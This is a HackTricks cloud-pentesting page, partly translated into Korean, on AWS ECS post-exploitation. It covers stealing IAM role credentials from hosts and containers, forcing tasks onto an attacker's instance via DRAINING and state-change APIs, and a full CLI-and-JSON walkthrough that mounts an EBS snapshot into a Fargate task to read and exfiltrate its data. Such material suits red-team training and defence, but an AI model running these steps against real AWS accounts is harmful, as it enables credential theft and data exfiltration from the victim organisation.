AWS - ECS Post Exploitation

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

ECS에서는 컨테이너 내부에서 실행되는 task에 IAM role을 할당할 수 있습니다. 만약 task가 EC2 인스턴스 내에서 실행된다면, 해당 EC2 instance에는 또 다른 IAM role이 붙어 있습니다.
즉, ECS 인스턴스를 compromise하면 잠재적으로 ECR 및 EC2 인스턴스와 연관된 IAM role을 획득할 수 있습니다. 해당 자격증명을 얻는 방법에 대한 자세한 내용은 다음을 확인하세요:

Cloud SSRF - HackTricks

caution

Note that if the EC2 instance is enforcing IMDSv2, according to the docs, the response of the PUT request will have a hop limit of 1, making impossible to access the EC2 metadata from a container inside the EC2 instance.

Privesc to node to steal other containers creds & secrets

게다가, EC2는 ECs tasks를 실행하기 위해 docker를 사용하므로, 만약 노드로 탈출하거나 docker socket에 접근할 수 있다면 어떤 other containers가 실행 중인지 check할 수 있고, 심지어 그 안으로 get inside of them 하여 붙어 있는 IAM rolessteal할 수 있습니다.

Making containers run in current host

또한, EC2 instance role은 일반적으로 클러스터 내 노드로 사용되는 EC2 인스턴스의 container instance state를 업데이트할 수 있는 충분한 permissions을 가지고 있습니다. 공격자는 인스턴스의 state of an instance to DRAINING을 변경할 수 있고, 그러면 ECS는 해당 인스턴스에서 remove all the tasks from it 하며, REPLICA로 실행되던 작업들은 다른 인스턴스에서 run in a different instance, — 잠재적으로 공격자의 인스턴스 안에서 실행되어 그들의 IAM roles와 컨테이너 내부의 민감한 정보를 steal할 수 있습니다.

bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

동일한 기법은 EC2 instance를 cluster에서 등록 해제하는 것으로도 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만, tasks가 다른 instances에서 실행되도록 강제할 것입니다:

bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

작업을 재실행하도록 강제하는 마지막 기법은 ECS에 task or container was stopped를 통지하는 것입니다. 이를 수행할 수 있는 API는 3가지가 있습니다:

bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Steal sensitive info from ECR containers

The EC2 instance will probably also have the permission ecr:GetAuthorizationToken allowing it to 이미지를 다운로드 (you could search for sensitive info in them).

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.

  • 필요 권한(최소):

  • ecs:RegisterTaskDefinition

  • One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole on:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Impact: 컨테이너 내부에서 snapshot의 임의 디스크 내용을 읽고(예: 데이터베이스 파일) 네트워크/로그를 통해 exfiltrate 할 수 있음.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. configuredAtLaunch로 표시된 volume을 가진 task definition을 등록하고 이를 container에 마운트합니다. 예시(시크릿을 출력한 후 대기):
json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. volumeConfigurations.managedEBSVolume를 통해 EBS 스냅샷을 전달하여 서비스 생성 또는 업데이트 (인프라 역할에 iam:PassRole 필요). 예:
json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. task가 시작되면 컨테이너는 설정된 마운트 경로(예: /loot)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via the task’s network/logs.

정리:

bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기